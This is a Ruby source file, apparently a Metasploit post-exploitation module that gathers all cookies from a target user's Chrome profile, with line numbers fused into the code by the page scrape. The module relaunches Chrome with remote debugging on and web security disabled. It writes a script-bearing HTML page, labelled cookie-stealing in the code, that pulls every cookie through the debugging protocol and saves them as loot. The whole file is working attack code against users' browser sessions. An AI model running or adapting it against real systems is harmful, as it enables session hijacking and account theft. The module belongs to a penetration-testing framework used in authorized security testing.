Path: blob/master/modules/post/multi/gather/chrome_cookies.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Chrome Gather Cookies',13'Description' => 'Read all cookies from the Default Chrome profile of the target user.',14'License' => MSF_LICENSE,15'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],16'Platform' => %w[linux unix bsd osx windows],17'SessionTypes' => %w[meterpreter shell],18'Notes' => {19'Stability' => [CRASH_SAFE],20'SideEffects' => [],21'Reliability' => []22}23)24)2526register_options(27[28OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']),29OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', '']),30OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222])31]32)33end3435def configure_for_platform36vprint_status('Determining session platform')37vprint_status("Platform: #{session.platform}")38vprint_status("Type: #{session.type}")3940if session.platform == 'windows'41username = get_env('USERNAME').strip42else43username = cmd_exec 'id -un'44end4546temp_storage_dir = datastore['WRITABLE_DIR']4748case session.platform49when 'unix', 'linux', 'bsd', 'python'50chrome = 'google-chrome'51user_data_dir = "/home/#{username}/.config/google-chrome"52temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir53@cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"54when 'osx'55chrome = '"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"'56user_data_dir = expand_path "/Users/#{username}/Library/Application Support/Google/Chrome"57temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir58@cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"59when 'windows'60chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"'61user_data_dir = "\\Users\\#{username}\\AppData\\Local\\Google\\Chrome\\User Data"62temp_storage_dir = temp_storage_dir.nil? ? "\\Users\\#{username}\\AppData\\Local\\Temp" : temp_storage_dir63@cookie_storage_path = "#{user_data_dir}\\chrome_debug.log"64else65fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}"66end6768unless datastore['CHROME_BINARY_PATH'].empty?69chrome = datastore['CHROME_BINARY_PATH']70end7172=begin73# #writable? not supported on windows74unless writable? @temp_storage_dir75fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable"76end77=end7879@html_storage_path = create_cookie_stealing_html(temp_storage_dir)8081chrome_debugging_args = []8283if session.platform == 'windows'84# `--headless` doesn't work on Windows, so use an offscreen window instead.85chrome_debugging_args << '--window-position=0,0'86chrome_debugging_args << '--enable-logging --v=1'87else88chrome_debugging_args << '--headless'89end9091chrome_debugging_args_all_platforms = [92'--disable-translate',93'--disable-extensions',94'--disable-background-networking',95'--safebrowsing-disable-auto-update',96'--disable-sync',97'--metrics-recording-only',98'--disable-default-apps',99'--mute-audio',100'--no-first-run',101'--disable-web-security',102'--disable-plugins',103'--disable-gpu'104]105106chrome_debugging_args << chrome_debugging_args_all_platforms107chrome_debugging_args << " --user-data-dir=\"#{user_data_dir}\""108chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}"109chrome_debugging_args << " #{@html_storage_path}"110111@chrome_debugging_cmd = "#{chrome} #{chrome_debugging_args.join(' ')}"112end113114def create_cookie_stealing_html(temp_storage_dir)115cookie_stealing_html = %(116<!DOCTYPE html>117<html lang="en">118<head>119<meta charset="utf-8">120<title>index.html</title>121</head>122<body>123<script>124125var remoteDebuggingPort = #{datastore['REMOTE_DEBUGGING_PORT']};126var request = new XMLHttpRequest();127request.open("GET", "http://localhost:" + remoteDebuggingPort + "/json");128request.responseType = 'json';129request.send();130131request.onload = function() {132var webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;133console.log(webSocketDebuggerUrl);134var connection = new WebSocket(webSocketDebuggerUrl);135136connection.onopen = function () {137connection.send('{"id": 1, "method": "Network.getAllCookies"}');138};139140connection.onmessage = function (e) {141var cookies_blob = JSON.stringify(JSON.parse(e.data).result.cookies);142console.log('REMOTE_DEBUGGING|' + cookies_blob);143};144}145</script>146</body>147</html>148)149150# Where to temporarily store the cookie-stealing html151if session.platform == 'windows'152html_storage_path = "#{temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html"153else154html_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html"155end156157write_file(html_storage_path, cookie_stealing_html)158html_storage_path159end160161def cleanup162if file?(@html_storage_path)163vprint_status("Removing file #{@html_storage_path}")164rm_f @html_storage_path165end166167if file?(@cookie_storage_path)168vprint_status("Removing file #{@cookie_storage_path}")169rm_f @cookie_storage_path170end171end172173def get_cookies174if session.platform == 'windows'175chrome_cmd = @chrome_debugging_cmd.to_s176kill_cmd = 'taskkill /f /pid'177else178chrome_cmd = "#{@chrome_debugging_cmd} > #{@cookie_storage_path} 2>&1"179kill_cmd = 'kill -9'180end181182if session.type == 'meterpreter'183chrome_pid = cmd_exec_get_pid(chrome_cmd)184print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}"185Rex.sleep(5)186187# read_file within if/else block because kill was terminating sessions on OSX during testing188chrome_output = read_file(@cookie_storage_path)189190# Kills spawned chrome process in windows meterpreter sessions.191# In OSX and Linux the meterpreter sessions would stop as well.192if session.platform == 'windows'193cmd_exec "#{kill_cmd} #{chrome_pid}"194end195else196# Using shell_command for backgrounding process (&)197client.shell_command("#{chrome_cmd} &")198print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}"199Rex.sleep(5)200201chrome_output = read_file(@cookie_storage_path)202end203204cookies_msg = ''205chrome_output.each_line do |line|206if line =~ /REMOTE_DEBUGGING/207print_good('Found Match')208cookies_msg = line209end210end211212fail_with(Failure::Unknown, 'Failed to retrieve cookie data') if cookies_msg.empty?213214# Slice off the "REMOTE_DEBUGGING|" delimiter and trailing source info215cookies_json = cookies_msg.split('REMOTE_DEBUGGING|')[1]216cookies_json.split('", source: file')[0]217end218219def save(msg, data, ctype = 'text/json')220ltype = 'chrome.gather.cookies'221loot = store_loot ltype, ctype, session, data, nil, msg222print_good "#{msg} stored in #{loot}"223end224225def run226fail_with Failure::BadConfig, 'No session found, giving up' if session.nil?227228# Issues with write_file. Maybe a path problem?229if session.platform == 'windows' && session.type == 'shell'230fail_with Failure::BadConfig, 'Windows shell session not support, giving up'231end232233unless session.platform == 'windows' && session.type == 'meterpreter'234print_warning 'This module will leave a headless Chrome process running on the target machine.'235end236237configure_for_platform238cookies = get_cookies239cookies_parsed = JSON.parse cookies240save "#{cookies_parsed.length} Chrome Cookies", cookies241end242end243244245